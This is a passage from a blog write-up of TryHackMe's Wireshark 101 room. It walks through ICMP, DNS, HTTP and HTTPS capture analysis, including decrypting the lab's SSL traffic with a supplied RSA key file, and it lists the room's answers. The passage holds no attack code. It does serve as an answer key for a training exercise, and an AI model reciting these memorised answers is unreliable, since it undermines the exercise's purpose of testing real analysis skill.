Wireshark and began my practical packet analysis to answer the questions for this task.</p><p>To find the type for packet 4 and 5 to answer to the 1st and 2nd question, we can narrow down the search to the frame number individually or several packete in a single display filter combination, despite the packet capture file being small. I looked at both packet 4 and 5 in the ICMP protocol layer for the value in the <strong>Type </strong>field to get the answer.</p><blockquote>frame.number eq &lt;packet_number_of_choice&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*Qk228CjY9xDhLSsJ5u8Sjw.png" /><figcaption>Wireshark Packet details for packet 4</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*CHf2siESyHRuN7Ll2toyjQ.png" /><figcaption>Wireshark packet details for packet 5</figcaption></figure><p>I searched for the frame number 12 and looked under the ICMP protocol layer of the packet details and looked in the<strong> Timestamp from icmp data</strong> field to answer the next question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*s8pdGzA1mPPDqQ6U4M3yOA.png" /><figcaption>Display filter results for packet number 12</figcaption></figure><p>For the last task question, I selected packet 18 and looked under the data dropdown section of the ICMP protocol layer to get the full data string as the answer.</p><p>Initially, I had some issues with copying the entire data field within the drop dropdown section. I found out that I can just copy straight from the data dropdown tab by right clicking on the data dropdown and select the copy value options as I have screenshotted below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gk2wnDkG0SN4ExMb_0Rdag.png" /><figcaption>Screenshot of how to copy just the value in the ICMP packet data dropdown</figcaption></figure><h3>Task 8 questions</h3><p>What is the type for packet 4?</p><blockquote>8</blockquote><p>What is the type for packet 5?</p><blockquote>0</blockquote><p>What is the timestamp for packet 12, only including month day and year? Note: Wireshark bases it’s time off of your devices time zone, if your answer is wrong try one day more or less.</p><blockquote>May 30, 2013</blockquote><p>What is the full data string for packet 18?</p><blockquote>08090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637</blockquote><h3>Task 10: DNS Traffic</h3><p>I begin my DNS Packet Analysis by opening the task file and answering the following questions.</p><p>To find the info I needed, I navigated to the DNS protocol layer packet details of the 1st and 26th packet and looked under the <strong>Queries</strong> field to find the answer to what is being queried in these packets. The <strong>Transaction ID</strong> field for the 26th packet will be the 1st field in the DNS protocol layer as seen in the screenshots below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*kNzPnAwq3ORKRAaYrkUndg.png" /><figcaption>Result screenshot of what is being queried in packet 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*puP20nrKIGJp87jlbzb78A.png" /><figcaption>Result screenshot of what is being queried in packet 26</figcaption></figure><h3>Task 10 Questions</h3><p>What is being queried in packet 1?</p><blockquote>8.8.8.8.in-addr.arpa</blockquote><p>What site is being queried in packet 26?</p><blockquote>www.wireshark.org</blockquote><p>What is the Transaction ID for packet 26?</p><blockquote>0x2c58</blockquote><h3>Task 11: HTTP Traffic</h3><p>I proceeded to open the task 11 packet capture file for packet analysis and to answer the questions for this task.</p><p>To answer the 1st question, I went to into the Statistics tab and selected Protocol Hierarchy. I learned while doing this lab that Protocol Hierarchy organizes the protocols present within a capture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*TxrozsRRd3PPUmzz7yV2Fw.png" /><figcaption>Screenshot of how to navigate to Protocol Hierarchy option</figcaption></figure><p>I clicked on Protocol Hierarchy option and found an organized list of all the protocols within the capture. I was able to answer the 1st question by looking at the Percent Packets column pertaining to the DNS protocol under the UDP protocol of this packet capture file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*HYG_vmPJfjsBhfMJslgZLg.png" /><figcaption>Screenshot of Protocol Hierarchy menu</figcaption></figure><p>For the 2nd question, to find what endpoint being asked for, I opened the Endpoints option under the Statistics tabs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*-ivxtr_7DaPoRhFAQ6cpcA.png" /><figcaption>Example screenshot on getting to Endpoints menu</figcaption></figure><p>Once I opened the Endpoints window, I was able to see tabs that showed all the endpoints and IP addresses organized by protocol. I checked each tab for the specific number to figure out what the endpoint was.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*Vr8fr_PKs9WFpLfuN540aA.png" /><figcaption>Example screenshot of Endpoints menu layout</figcaption></figure><p>To find out user-agent listed in packet 4, I did a display filter for frame number 4 and checked the HTTP protocol packet details to find out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*jAd1bxBreNQUi7x2el7adw.png" /><figcaption>Example screenshot of how to find the user-agent of a HTTP payload.</figcaption></figure><p>To get the full request URI from packet 18, I searched for the packet and checked the HTTP protocol layer to look for the full request URI field. I found a Full request URI [truncated] field and proceeded to copy the value that was in that field for the answer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TV9qI_TF4p6ZWxzZ8HJWBA.png" /><figcaption>Screenshot of where to find a request URI in HTTP protocol payload</figcaption></figure><p>To find the domain name that was requested from packet 38, I first looked at the request URI in the HTTP payload and found it provided the URI which gives us the answer to our last question in this task.</p><blockquote>http://www.ethereal.com/download.html</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*V4h-hywxDnwOwi2pzSzKkg.png" /><figcaption>Example screenshot of packet 38 analysis</figcaption></figure><p>Afterwards, I used the knowledge I had on domain names to figure out that the domain name is for this task. In addition to this, I proceeded to check the Export HTTP Object option (File tab &gt; Export Objects &gt; HTTP) of the packet capture file and I found packet 38 as one of the listed objects and found that the hostname was an exact match for the domain name that was requested and the answer to the second last question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*vfxbvZziolS9DBsmKYWiFA.png" /><figcaption>Navigation for viewing export objects on Wireshark</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*kfyZyfERHvnwwMZP20hIdQ.png" /><figcaption>Screenshot showing all requested URIs in for the packet capture file</figcaption></figure><h3>Task 11 Questions</h3><p>What percent of packets originate from Domain Name System?</p><blockquote>4.7</blockquote><p>What endpoint ends in .237?</p><blockquote>145.254.160.237</blockquote><p>What is the user-agent listed in packet 4?</p><blockquote>Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113</blockquote><p>Looking at the data stream what is the full request URI from packet 18?</p><blockquote>http://pagead2.googlesyndication.com/pagead/ads?client=ca-pub-2309191948673629&amp;random=1084443430285&amp;lmt=1082467020&amp;format=468x60_as&amp;output=html&amp;url=http%3A%2F%2Fwww.ethereal.com%2Fdownload.html&amp;color_bg=FFFFFF&amp;color_text=333333&amp;color_link=000000&amp;color_url=666633&amp;color_border=666633</blockquote><p>What domain name was requested from packet 38?</p><blockquote>www.ethereal.com</blockquote><p>Looking at the data stream what is the full request URI from packet 38?</p><blockquote>http://www.ethereal.com/download.html</blockquote><h3>Task 12: HTTPS Traffic</h3><p>I opened the PCAP file associated with this task and began my analysis,</p><p>The 1st thing to mention is that with the use of the SSL (varying from version 2 and 3) protocols that are 56.9 percent of the packets in the PCAP file. Thus, all the requests that are part of handshake process that makes a secure path between the client and host and the application data content transmitted back and forth are all encrypted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*cv1-b5nR8R7affUimgXjwQ.png" /><figcaption>Example screenshot of encrypted application data</figcaption></figure><p>To view the data that is encrypted, an RSA key in Wireshark can be used to view the data decrypted. I will use the RSA key provided with this task and load it into Wireshark.</p><p>To load an RSA key into Wireshark, I needed to go into the Edit tab and select Preferences &gt; Protocols &gt; SSL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*5OAdpzFSM7cO9nEF5QN0eA.png" /><figcaption>How to get to preferences from Edit tab</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*n0nqJ5MzMMvmyGWpdMmgIw.png" /><figcaption>Screenshot on where to select protocol</figcaption></figure><p>I then proceeded to click edit to add the RSA key and filled out the various fields</p><p>IP Address: 127.0.0.1</p><p>Port: start_tls</p><p>Protocol: http</p><p>Keyfile: I extracted the task 12 zip file on my VM and have the .key file directory pointed at the folder location [<em>/root/Rooms/Wireshark101/task12/rsasnakeoil2.key]</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*eLJDt4RnsBgvV4eZq1mvYQ.png" /></figure><p>Afterwards, I backed out of the RSA keys list and clicked the OK button to leave the preferences menu, and now the data stream of the packet capture file is unencrypted, HTTP requests can now be seen within the details of each packet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*oyhdqBQrqzK2yHABoxb5gw.png" /><figcaption>Example screenshot of a HTTP request and tabs showing the Decrypted SSL</figcaption></figure><p>With these steps out of the way, we can proceed to doing analysis to answer questions on this task screenshotted below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*4ei1nfVgYZnvfFUpim8pkA.png" /><figcaption>Screenshot on how to figure out the Full request URI for packet 31</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*l7J6WAm29XPx2--0HFEOXA.png" /><figcaption>Screenshot of analysis of packet 50 to find values within decrypted SSL</figcaption></figure><h3>Task 12 Questions</h3><p>Looking at the data stream what is the full request URI for packet 31?</p><blockquote>https://localhost/icons/apache_pb.png</blockquote><p>Looking at the data stream what is the full request URI for packet 50?</p><blockquote>https://localhost/icons/back.gif</blockquote><p>What is the User-Agent listed in packet 50?</p><blockquote>Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2</blockquote><p>This wraps up my write-up on this room in TryHackMe. I welcome all constructive feedback or suggestions of my write-up or if there is something in how I did my analysis that helped you learn, let me know in the comments.</p><p>I really got to learn a lot about how to use the Wireshark tool in this deep dive of challenge and how all different protocols work together in layers as represented within the OSI model.</p><p>— All the best and keep on learning,</p><p>Chris Fouad.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cfb21c37a465" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>